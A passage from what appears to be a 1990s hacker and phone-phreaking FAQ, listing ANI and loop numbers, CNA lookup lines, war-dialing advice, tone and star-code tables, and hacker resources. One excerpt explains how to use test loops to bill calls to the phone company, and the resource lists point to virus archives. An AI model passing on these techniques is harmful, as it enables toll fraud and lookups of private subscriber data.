305  999-xxxx         Ft. Lauderdale/Key West/Miami, FL
312  511-xxxx         Chicago, IL
312  511-xxx-xxxx     Chicago, IL
312  57?-xxxx         Chicago, IL
315  98x-xxxx         Syracuse/Utica, NY
317  777-xxxx         Indianapolis/Kokomo, IN
317  yyy-xxxx         Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319  79x-xxxx         Davenport/Dubuque, Iowa
401  98?-xxxx         RI (All)
404  450-xxxx         Atlanta, GA
407  988-xxxx         Orlando/West Palm Beach, FL
412  985-xxxx         Pittsburgh, PA
414  977-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
414  978-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  350-xxxx         San Francisco, CA
417  551-xxxx         Joplin/Springfield, MO
501  721-xxx-xxxx     AR (All)
502  988              Frankfort/Louisville/Paducah/Shelbyville, KY
504  99x-xxxx         Baton Rouge/New Orleans, LA
504  9988776655       Baton Rouge/New Orleans, LA
505  59?-xxxx         New Mexico (All)
512  95X-xxxx         Austin, TX
513  99?-xxxx         Cincinnati/Dayton, OH
516  660-xxx-xxxx     Hempstead/Long Island, NY
601  777-xxxx         MS (All)
609  55?-xxxx         Atlantic City/Camden/Trenton/Vineland, NJ
612  511              Minneapolis/St.Paul, MN
612  999-xxx-xxxx     Minneapolis/St.Paul, MN
615  930-xxxx         Chatanooga/Knoxville/Nashville, TN
616  946-xxxx         Battle Creek/Grand Rapids/Kalamazoo, MI
619  331-xxxx         San Diego, CA
619  332-xxxx         San Diego, CA
703  958-xxxx         Alexandria/Arlington/Roanoke, VA
714  330?             Anaheim, CA (GTE)
714  33?-xxxx         Anaheim, CA (PacBell)
716  981-xxxx         Rochester, NY (Rochester Tel)
719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO
801  938-xxxx         Utah (All)
801  939-xxxx         Utah (All)
804  260              Charlottesville/Newport News/Norfolk/Richmond, VA
805  114              Bakersfield/Santa Barbara, CA
805  980-xxxx         Bakersfield/Santa Barbara, CA
810  951-xxx-xxxx     Pontiac/Southfield/Troy, MI
813  711              Ft. Meyers/St. Petersburg/Tampa, FL
817  971              Ft. Worth/Waco, TX  (Press 2#)
906  951-xxx-xxxx     Marquette/Sault Ste. Marie, MI
908  55?-xxxx         New Brunswick, NJ
908  953              New Brunswick, NJ
914  660-xxxx         Peekskill/Poughkeepsie/White Plains/Yonkers, NY

416  57x-xxxx         Toronto, Ontario
416  99x-xxxx         Toronto, Ontario
416  999-xxx-xxxx     Toronto, Ontario
514  320-xxx-xxxx     Montreal, Quebec
613  999-xxx-xxxx     Ottawa, Ontario
705  999-xxx-xxxx     North Bay/Saulte Ste. Marie, Ontario

Australia: +61 199
Brazil: 199
New Zealand: 137
Sweden: 0058
United Kingdom: 174 or 1744 or 175

14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
				   by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999.  They are used by the phone company for testing.  What
good do loops do us?  Well, they are cool in a few ways.  Here is a
simple use of loops.  Each loop has two ends, a 'high' end, and a
'low' end.  One end gives a (usually) constant, loud tone when it is
called. The other end is silent.  Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop.  Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you.  Here's
what you can use working loops for:  billing phone calls!  First, call
the end that gives the loud tone.  Then if the operator or someone
calls the other end, the tone will go quiet.  Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever.  The operator thinks that she just called you, and
that's it!  Now the phone bill will go to the loop, and your local
RBOC will get the bill!  Use this technique in moderation, or the loop
may go down.  Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.

15. What is a loop in my area?

Many of these loops are no longer functional.  If you are local
to any of these loops, please try them out an e-mail me the results
of your research.

NPA    High      Low
---  --------  --------
201  228-9929  228-9930
201  238-9929  238-9930
201  251-9929  251-9930
201  254-9929  254-9930
201  272-9929  272-9930
201  330-9929  330-9930
201  333-9929  333-9930
201  339-9929  339-9930
201  347-9929  347-9930
201  376-9929  376-9930
201  398-9929  398-9930
201  467-9929  467-9930
201  528-9929  528-9930
201  531-9929  531-9930
201  558-9929  558-9930
201  559-9929  559-9930
201  560-9929  560-9930
201  592-9929  592-9930
201  625-9929  625-9930
201  631-9929  631-9930
201  637-9929  637-9930
201  655-9929  655-9930
201  666-9929  666-9930
201  690-9929  690-9930
201  761-9929  761-9930
201  762-9929  762-9929
201  762-9929  762-9930
201  763-9929  763-9930
201  764-9929  764-9930
201  767-9929  767-9930
201  768-9929  768-9930
201  773-9929  773-9930
201  879-9929  879-9930
201  938-9929  938-9930
201  946-9929  946-9930
201  992-9929  992-9930
201  993-9929  993-9930
201  994-9929  994-9930
206  827-0018  827-0019
206  988-0020  988-0022
208  862-9996  862-9997
209  732-0044  732-0045
212  220-9977  220-9979
212  283-9977  283-9979
212  283-9977  283-9997
212  352-9900  352-9906
212  365-9977  365-9979
212  529-9900  529-9906
212  562-9977  562-9979
212  986-9977  986-9979
213  360-1118  360-1119
213  365-1118  365-1119
213  455-0002  455-XXXX
213  455-0002  455-xxxx
213  546-0002  546-XXXX
213  546-0002  546-xxxx
213  549-1118  549-1119
214  291-4759  291-4757
214  299-4759  299-4757
305  778-9952  778-9951
305  964-9951  964-9952
307  468-9999  468-9998
308  357-0004  357-0005
312  222-9973  222-9974
312  234-9973  234-9974
313  224-9996  224-9997
313  225-9996  225-9997
313  234-9996  234-9997
313  237-9996  237-9997
313  256-9996  256-9997
313  272-9996  272-9997
313  273-9996  273-9997
313  277-9996  277-9997
313  281-9996  281-9997
313  292-9996  292-9997
313  299-9996  299-9997
313  321-9996  321-9997
313  326-9996  326-9997
313  356-9996  356-9997
313  362-9996  362-9997
313  369-9996  369-9997
313  388-9996  388-9997
313  397-9996  397-9997
313  399-9996  399-9997
313  445-9996  445-9997
313  465-9996  465-9997
313  471-9996  471-9997
313  474-9996  474-9997
313  477-9996  477-9997
313  478-9996  478-9997
313  483-9996  483-9997
313  497-9996  497-9997
313  526-9996  526-9997
313  552-9996  552-9997
313  556-9996  556-9997
313  561-9996  561-9997
313  569-9996  569-9996
313  575-9996  575-9997
313  577-9996  577-9997
313  585-9996  585-9997
313  591-9996  591-9997
313  621-9996  621-9997
313  626-9996  626-9997
313  644-9996  644-9997
313  646-9996  646-9997
313  647-9996  647-9997
313  649-9996  649-9997
313  663-9996  663-9997
313  665-9996  665-9997
313  683-9996  683-9997
313  721-9996  721-9997
313  722-9996  722-9997
313  728-9996  728-9997
313  731-9996  731-9997
313  751-9996  751-9997
313  776-9996  776-9997
313  781-9996  781-9997
313  787-9996  787-9997
313  822-9996  822-9997
313  833-9996  833-9997
313  851-9996  851-9997
313  871-9996  871-9997
313  875-9996  875-9997
313  886-9996  886-9997
313  888-9996  888-9997
313  898-9996  898-9997
313  934-9996  934-9997
313  942-9996  942-9997
313  963-9996  963-9997
313  977-9996  977-9997
315  673-9995  673-9996
315  695-9995  695-9996
402  422-0001  422-0002
402  422-0003  422-0004
402  422-0005  422-0006
402  422-0007  422-0008
402  572-0003  572-0004
402  779-0004  779-0007
406  225-9902  225-9903
517  422-9996  422-9997
517  423-9996  423-9997
517  455-9996  455-9997
517  563-9996  563-9997
517  663-9996  663-9997
517  851-9996  851-9997
609  921-9929  921-9930
609  994-9929  994-9930
616  997-9996  997-9997
713  224-1499  759-1799
713  324-1499  324-1799
713  342-1499  342-1799
713  351-1499  351-1799
713  354-1499  354-1799
713  356-1499  356-1799
713  442-1499  442-1799
713  447-1499  447-1799
713  455-1499  455-1799
713  458-1499  458-1799
713  462-1499  462-1799
713  466-1499  466-1799
713  468-1499  468-1799
713  469-1499  469-1799
713  471-1499  471-1799
713  481-1499  481-1799
713  482-1499  482-1799
713  484-1499  484-1799
713  487-1499  487-1799
713  489-1499  489-1799
713  492-1499  492-1799
713  493-1499  493-1799
713  524-1499  524-1799
713  526-1499  526-1799
713  555-1499  555-1799
713  661-1499  661-1799
713  664-1499  664-1799
713  665-1499  665-1799
713  666-1499  666-1799
713  667-1499  667-1799
713  682-1499  976-1799
713  771-1499  771-1799
713  780-1499  780-1799
713  781-1499  997-1799
713  960-1499  960-1799
713  977-1499  977-1799
713  988-1499  988-1799
805  528-0044  528-0045
805  544-0044  544-0045
805  773-0044  773-0045
808  235-9907  235-9908
808  239-9907  239-9908
808  245-9907  245-9908
808  247-9907  247-9908
808  261-9907  261-9908
808  322-9907  322-9908
808  328-9907  328-9908
808  329-9907  329-9908
808  332-9907  332-9908
808  335-9907  335-9908
808  572-9907  572-9908
808  623-9907  623-9908
808  624-9907  624-9908
808  668-9907  668-9908
808  742-9907  742-9908
808  879-9907  879-9908
808  882-9907  882-9908
808  885-9907  885-9908
808  959-9907  959-9908
808  961-9907  961-9908
813  385-9971
908  776-9930  776-9930

16. What is a CNA number?

CNA stands for Customer Name and Address.  The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number.  If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find it's phone
number and then call the CNA operator to see who owns it and where
they live.

Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies.  Two such companies are:

Unidirectory    (900)933-3330
Telename        (900)884-1212

Note that these are 900 numbers, and will cost you approximately one
dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public.  The number is 796-9600.  The cost is
$.35/call and can look up two numbers per call.

An interesting number is The House of Windsor Collection at
(800)433-3210.  If you dial it and press 1 to request a catalog, it
will ask for your telephone number.  If will then tell you the street
name of any telephone number you enter.

17. What is the telephone company CNA number for my area?

203  203-771-8080     CT (All)
516  516-321-5700     Hempstead/Long Island, NY
614  614-464-0123     Columbus/Steubenville, OH
813  813-270-8711     Ft. Meyers/St. Petersburg/Tampa, FL
513  513-397-9110     Cincinnati/Dayton, OH

18. What are some numbers that always ring busy?

216  xxx-9887              Akron/Canton/Cleveland/Lorain/Youngstown, OH
316  952-7265              Dodge City/Wichita, KS
501  377-99xx              AR (All)
719  472-3773              Colorado Springs/Leadville/Pueblo, CO
719  577-6100 to 577-6200  Colorado Springs/Leadville/Pueblo, CO
818  885-0699              Pasadena, CA
906  632-9999              Marquette/Sault Ste. Marie, MI
906  635-9999              Marquette/Sault Ste. Marie, MI
914  576-9903              Peekskill/Poughkeepsie/White Plains/Yonkers, NY

19. What are some numbers that temporarily disconnect phone service?

314  511        Columbia/Jefferson City/St.Louis, MO (1 minute)
404  420        Atlanta, GA                          (5 minutes)
405  953        Enid/Oklahoma City, OK               (1 minute)
407  511        Orlando/West Palm Beach, FL          (1 minute)
512  200        Austin/Corpus Christi, TX            (1 minute)
516  480        Hempstead/Long Island, NY            (1 minute)
603  980        NH (All)
512  200        Austin/Corpus Christi, TX            (1 minute)
919  211 or 511 Durham, NC                           (10 min - 1 hour)

20. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer.  Currently, the best war dialer available
to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas.

A war dialer will dial a range of numbers and log what it finds at
each number.  You can then only dial up the numbers that the war
dialer marked as carriers or tones.

21. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

In some places, scanning has been made illegal.  It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once.  It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer.  Some central offices have been
known to react strangely when people start scanning.  Sometimes you're
unable to get a dialtone for hours after you start scanning.  But
there is no uniform policy.  The best thing to do is to first find out
if you've got some crazy law saying you can't do it.  If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.

It should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO.  It is now illegal to place a call
in Colorado Springs without the intent to communicate.

22. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064

23. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency.  These are the tones you
get when you press a key on your telephone touchpad.  The tone of the
button is the sum of the column and row tones.  The ABCD keys do not
exist on standard telephones.

	 1209 1336 1477 1633

     697   1    2    3    A

     770   4    5    6    B

     852   7    8    9    C

     941   *    0    #    D

24. What are the frequencies of the telephone tones?

Type                Hz          On      Off
Dial Tone         350 & 400     ---     ---
Busy Signal       480 & 620     0.5     0.5
Toll Congestion   480 & 620     0.2     0.3
Ringback (Normal) 440 & 480     2.0     4.0
Ringback (PBX)    440 & 480     1.5     4.5
Reorder (Local)   480 & 620     3.0     2.0
Invalid Number    200 & 400
Hang Up Warning 1400 & 2060     0.1     0.1
Hang Up         2450 & 2600     ---     ---

25. What are all of the * codes?

Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:

(These appear to be standard, but may be changed locally)

Service                     Tone    Pulse/rotary   Notes
Assistance/Police           *12         n/a        [1]
Cancel forwarding           *30         n/a        [C1]
Automatic Forwarding        *31         n/a        [C1]
Notify                      *32         n/a        [C1] [2]
Intercom Ring 1 (..)        *51         1151       [3]
Intercom Ring 2 (.._)       *52         1152       [3]
Intercom Ring 3 (._.)       *53         1153       [3]
Extension Hold              *54         1154       [3]
Customer Originated Trace   *57         1157
Selective Call Rejection    *60         1160       (or Call Screen)
Selective Distinct Alert    *61         1161
Selective Call Acceptance   *62         1162
Selective Call Forwarding   *63         1163
ICLID Activation            *65         1165
Call Return (outgoing)      *66         1166
Number Display Blocking     *67         1167       [4]
Computer Access Restriction *68         1168
Call Return (incoming)      *69         1169
Call Waiting disable        *70         1170       [4]
No Answer Call Transfer     *71         1171
Usage Sensitive 3 way call  *71         1171
Call Forwarding: start      *72 or 72#  1172
Call Forwarding: cancel     *73 or 73#  1173
Speed Calling (8 numbers)   *74 or 74#  1174
Speed Calling (30 numbers)  *75 or 75#  1175
Anonymous Call Rejection    *77         1177       [5] [M: *58]
Call Screen Disable         *80         1160       (or Call Screen) [M: *50]
Selective Distinct Disable  *81         1161       [M: *51]
Select. Acceptance Disable  *82         1162
Select. Forwarding Disable  *83         1163       [M: *53]
ICLID Disable               *85         1165
Call Return (cancel out)    *86         1186       [6] [M: *56]
Anon. Call Reject (cancel)  *87         1187       [5] [M: *68]
Call Return (cancel in)     *89         1189       [6] [M: *59]


[C1]     - Means code used for Cellular One service
[1]      - for cellular in Pittsburgh, PA A/C 412 in some areas
[2]      - indicates that you are not local and maybe how to reach you
[3]      - found in Pac Bell territory; Intercom ring causes a distinctive
           ring to be generated on the current line; Hold keeps a call
           connected until another extension is picked up
[4]      - applied once before each call
[5]      - A.C.R. blocks calls from those who blocked Caller ID
           (used in C&P territory, for instance)
[6]      - cancels further return attempts
[M: *xx] - alternate code used for MLVP (multi-line variety package)
           by Bellcore. It goes by different names in different RBOCs.
           In Bellsouth it is called Prestige. It is an arrangement of
           ESSEX like features for single or small multiple line groups.

           The reason for different codes for some features in MLVP is that
           call-pickup is *8 in MLVP so all *8x codes are reaasigned *5x

26. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.
The new 900mhz cordless phones are not covered.

Channel    Handset Transmit    Base Transmit
-------    ----------------    -------------
   1          49.670mhz          46.610mhz
   2          49.845             46.630
   3          49.860             46.670
   4          49.770             46.710
   5          49.875             46.730
   6          49.830             46.770
   7          49.890             46.830
   8          49.930             46.870
   9          49.990             46.930
  10          49.970             46.970

Section C: Resources

01. What are some ftp sites of interest to hackers?      /links/security                 (Misc)                                          (40Hex)     /pub/ATHENA                     (Athena Project)                                            (Bellcore)         /pub/cellular/DDIinfodemo       (Cellular)                                                (CERT)     /pub                            (Security)     /pub                            (Coast)         /archives/mirror2/world-info/obi/Phracks                                            (Crimelab)           /pub/security                   (Security)                  /pub/defcon                     (DefCon)                                            (Phrack)                                        (Legion of Doom)           /pub/stud_reps/phrack           (Zines)            /Orange-Book                    (Orange Book)            /mirrors/zip                    (ZipCrypt)           /pub/security                   (Security)          /pub/user/kmartind              (H/P)            /pub                            (CERT)             /pub/e-serials/alphabetic/p/phrack (Zines)           /pub/jcase                      (H/P)        /pubs/standards/drafts/shttp.txt(Secure HyperText)          /pub/comp-privacy               (Comp. Privacy Digest)         /pub/nides                      (SRI)   /pub/cypherpunks                (Crypto)             /pub/cud                        (EFF)    /pub/security                   (Security)                                           (Etext)                                        (Wordlists)     /pub/firewalls                  (Firewalls)         /pub/cud                        (Zines)     /pub/security                   (Security)             /mcsnet.users/crisadm/stuff/research/samples (Virii)            /security/archives/phrack       (Zines)          /pub/br/bradleym                (Virii)          /pub/va/vandal                  (DnA)          /pub/vo/vortex                  (Phiber-Scream)          /pub/zz/zzyzx                   (H/P)       /PC/Crypt                       (Crypto)        /pub/toneloc/          (ToneLoc)          /pub/armchair                   (Phoney)          /pub/security                   (Security)           /pub/lps                        (Home of the FAQ)             /archives/alt.locksmithing      (Locksmithing)             /obi/Mischief/                  (MIT Guide to Lock...)             /obi/Phracks                    (Zines)            /pub/network/monitoring         (Ethernet sniffers)            /pub/security                   (SURAnet)             /pub                            (TIS)              /doc/literary/obi/Phracks       (Zines)       /pub/cud                        (Zines)          /pub/security                   (Security)       /users/craigb                   (H/P)           /doc/EFF                        (EFF) /security                     (Crypto)          /pc/crypt                       (Crypto)          /pub                            (CIAC)             /telecom-archives               (Telecom archives)            /pub/users/patriot              (Misc)            /pub/security/TAMU              (Security)               /pub                            (Max Headroom)             /scc                            (DDN Security)            /pub/doc/cud                    (Zines)  /anonymous/text-files/pyrotechnics (Pyro)      /pub/security                   (Security)    /doc/telecom-archives           (Telecom)          /pub/security                   (Security)        /dist/internet_security         (AT&T)           /pub/crypt                      (Ripem)                                    (Wordlists)                                            (Etext)            /pub/usenet-by-group            (Usenet FAQ's)                                          (Wordlists)        /pub/crypt                      (Crypto)                                            (TNO)                                                 (CSC)   /pub/unix/security              (Security) /pub1/security                  (Security) /pub/security             (Security)            /pub/kerberos.documentation     (Kerberos)            /pub/crypto                     (Crypto)

02. What are some newsgroups of interest to hackers?

alt.2600                Do it 'til it hertz      Technology concerns for Hackers on Planet Earth 1994
alt.cyberpunk           High-tech low-life.
alt.cyberspace          Cyberspace and how it should work.
alt.dcom.telecom        Discussion of telecommunications technology
alt.engr.explosives     [no description available]
alt.hackers             Descriptions of projects currently under development
alt.locksmithing        You locked your keys in *where*?
alt.hackers.malicious   The really bad guys - don't take candy from them
alt.privacy.anon-server Technical & policy matters of anonymous contact servers        Hide the gear, here comes the magic station-wagons.       Discussion of scanning radio receivers.            Security issues on computer systems      Pointers to good stuff in (Moderated)    Exchange of keys for public key encryption systems        The Pretty Good Privacy package      A secure email system illegal to export from the US
comp.dcom.cellular      [no description available]
comp.dcom.telecom       Telecommunications digest (Moderated)  [no description available]  Computer Professionals for Social Responsibility      Issues of computing and social responsibility       News from the Electronic Frontiers Foundation       Discussion of EFF goals, strategies, etc.
comp.protocols.kerberos The Kerberos authentification server
comp.protocols.tcp-ip   TCP and IP network protocols
comp.risks              Risks to the public from computers & users  Announcements from the CERT about security      Security issues of computers and networks      Discussion of Unix security
comp.virus              Computer viruses & security (Moderated)              Mitteilungen des CCC e.V.           Security in general, not just computers (Moderated)
rec.pyrotechnics        Fireworks, rocketry, safety, & other topics       [no description available]      Technical and regulatory issues of cable television.
sci.crypt               Different methods of data en/decryption

03. What are some telnet sites of interest to hackers?            (NTIA)
telnet lust.isca.uiowa 2600     (underground bbs)

04. What are some gopher sites of interest to hackers?                  (Bell Atlantic)      (NIST Security Gopher)          (SIGSAC (Security, Audit & Control))         (Computer Professionals for Social Responsibility)          (Electonic Frontier Foundation)        (Wired Magazine)          (Pacific Bell)            (NITA -- IITF)                 (Open Source Solutions)                 (Computer Systems Consulting)       (Wiretap)

05. What are some World wide Web (WWW) sites of interest to hackers?                   (NASA/MOD AIS Security) for Information Security)         (Security)        (Bugtraq)           (Coast)                       (NIST) (Crypto)     (Security) Lab Slides)  (CSSCR)                                (FIRST)      (Security)      (Security)        (Rainbow Books)       (Betsi)            (SPAWAR INFOSEC)                                (The l0pht)                             (SAIC MLS)      (FBI Homepage)                       (NASA ASIRC)          (Computer and Network Security)                         (LaMacchia case info)    (Network Security)                             (Ameritech)        (Unix Security)                        (CCC Homepage)                               (Bell Atlantic)                             (MFJ Task Force)  (Bellcore Security Products)                          (BellSouth)                     (Lanl) (HyperText)                        (CPSR) (Security)      (Harris)                          (SRI Computer Science Lab)             (Cygnus Network Security)                       (Data Fellows)      (Raptor Eagle Network Isolator)                  (KarlBridge)   (Digital Cash) Secure Systems)  (Intrusion Detection Systems)   (Box info) document)     (System administration)                        (DefCon)                      (Great Circle Associates)     (NSA)                               (The CIA) (Security) (The Terrorists Handbook) (MIT Lockpicking Guide)                            (Max Headroom)                             (NIST)                          (Pacific Bell)                 (ToneLoc) (PGP)                    (Taran King)   (Quadralay Cryptography Archive)                     (AT&T)                              (RSA Data Security)      (USWest)           (Hack TV)                              (Computer Systems Consulting)                              (SRI)      (Security Reference Index)                              (Trusted Information Systems)                          (Southwestern Bell)          (Security)  (Virus)                           (Wiltel)                            (Wired Magazine)

06. What are some IRC channels of interest to hackers?


07. What are some BBS's of interest to hackers?

Hacker's Haven          (303)343-4053
Corrupt Sekurity        (303)753-1719
Independent Nation      (315)656-4179     (514)683-1894
Digital Fallout         (516)378-6640
Alliance Communications (612)251-8596
Apocalypse 2000         (708)676-9855
K0dE Ab0dE              (713)579-2276
fARM R0Ad 666           (713)855-0261

08. What books are available on this subject?

General Computer Security
Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

	This is an excellent book.  It gives a broad overview of
	computer security without sacrificing detail.  A must read for
	the beginning security expert.

Computer Security Management
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1

Unix System Security
Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

	Finally someone with a very firm grasp of Unix system security
	gets down to writing a book on the subject.  Buy this book.
	Read this book.

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6

Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2

Network Security
Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

	Not a total waste of paper, but definitely not worth the
	$49.95 purchase price.  The book is a rehash of previously
	published information.  The only secret we learn from reading
	the book is that Sylvia Moon is a younger woman madly in love
	with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

	Bruce Schneier's book replaces all other texts on
	cryptography.  If you are interested in cryptography, this is
	a must read.  This may be the first and last book on
	cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Programmed Threats
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

	The original, and still the best, book on computer viruses.
	No media hype here, just good clean technical information.

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
	Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994

Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5

        Although hopelessly out of date, this book remains *THE* book
        on telephony.  This book is 100% Bell, and is loved by phreaks
        the world over.

Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8

        I find this dictionary to be an excellent reference book on
        telephony, and I recommend it to anyone with serious
        intentions in the field.

Hacking History and Culture
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

	Bruce Sterling has recently released the book FREE to the net.
	The book is much easier to read in print form, and the
	paperback is only $5.99.  Either way you read it, you will be
	glad you did.  Mr. Sterling is an excellent science fiction
	author and has brought his talent with words to bear on the
	hacking culture.  A very enjoyable reading experience.

Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

	The Knightmare is no super hacker.  There is little or no real
	information in this book.  The Knightmare gives useful advice
	like telling you not to dress up before going trashing.
	The Knightmare's best hack is fooling Loompanics into
	publishing this garbage.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

	Total garbage.  Paranoid delusions of a lunatic.  Less factual
	data that an average issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8

09. What are some mailing lists of interest to hackers?

Academic Firewalls
Reflector Address:
Registration Address: Send a message to
                      containing the line "subscribe firewalls [email protected]"

Reflector Address:
Registration Address:

Cert Tools
Reflector Address:
Registration Address:

Computers and Society
Reflector Address:
Registration Address:

Coordinated Feasibility Effort to Unravel State Data
Reflector Address:
Registration Address:

CPSR Announcement List
Reflector Address:
Registration Address:

CPSR - Intellectual Property
Reflector Address:
Registration Address:

CPSR - Internet Library
Reflector Address:
Registration Address:

DefCon Announcement List
Reflector Address:
Registration Address: Send a message to containing
                      the line "subscribe dc-announce"

DefCon Chat List
Reflector Address:
Registration Address: Send a message to containing
                      the line "subscribe dc-stuff"

Macintosh Security
Reflector Address:
Registration Address:

NeXT Managers
Reflector Address:
Registration Address:

Reflector Address:
Registration Address: Send a message to
                      containing the line "subscribe phiber-scream [email protected]"

Reflector Address:
Registration Address:

RSA Users
Reflector Address:
Registration Address:

10. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
E-mail address:

Subscription Address: 2600 Subscription Dept
                      PO Box 752
                      Middle Island, NY  11953-0752

Letters and article submission address: 2600 Editorial Dept
                                        PO Box 99
                                        Middle Island, NY  11953-0099

Subscriptions: United States: $21/yr individual, $50 corporate.
               Overseas: $30/yr individual, $65 corporate.

Gray Areas
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/oe controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address:
E-Mail Address:

U.S. Mail Address: Gray Areas
                   PO Box 808
                   Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
               $34.00 4 issues foreign (shipped air mail)

Subscription Address:
                  or: Wired
                      PO Box 191826
                      San Francisco, CA 94119-9866

Letters and article submission address:
                                    or: Wired
                                        544 Second Street
                                        San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

